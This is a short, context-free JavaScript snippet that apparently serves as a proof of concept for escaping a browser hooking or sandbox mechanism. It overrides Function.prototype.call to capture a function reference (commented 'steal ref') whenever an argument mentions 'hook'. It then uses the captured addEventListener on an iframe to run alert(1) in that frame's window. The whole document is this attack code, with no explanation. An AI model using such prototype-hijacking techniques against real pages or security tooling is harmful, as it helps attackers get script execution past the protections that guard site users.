var _call = Function.prototype.call;
Function.prototype.call = function() {
var args = Array.from(arguments);
if (args[2].toString().includes('hook')) {
_addEventListener = this; // steal ref
return;
}
return _call.apply(this, args);
};
var f = document.createElement('iframe');
document.body.appendChild(f);
var f2 = document.createElement('iframe');
_addEventListener.apply(f2, ['load', function() {
this.contentWindow.alert(1);
}]);
document.body.appendChild(f2);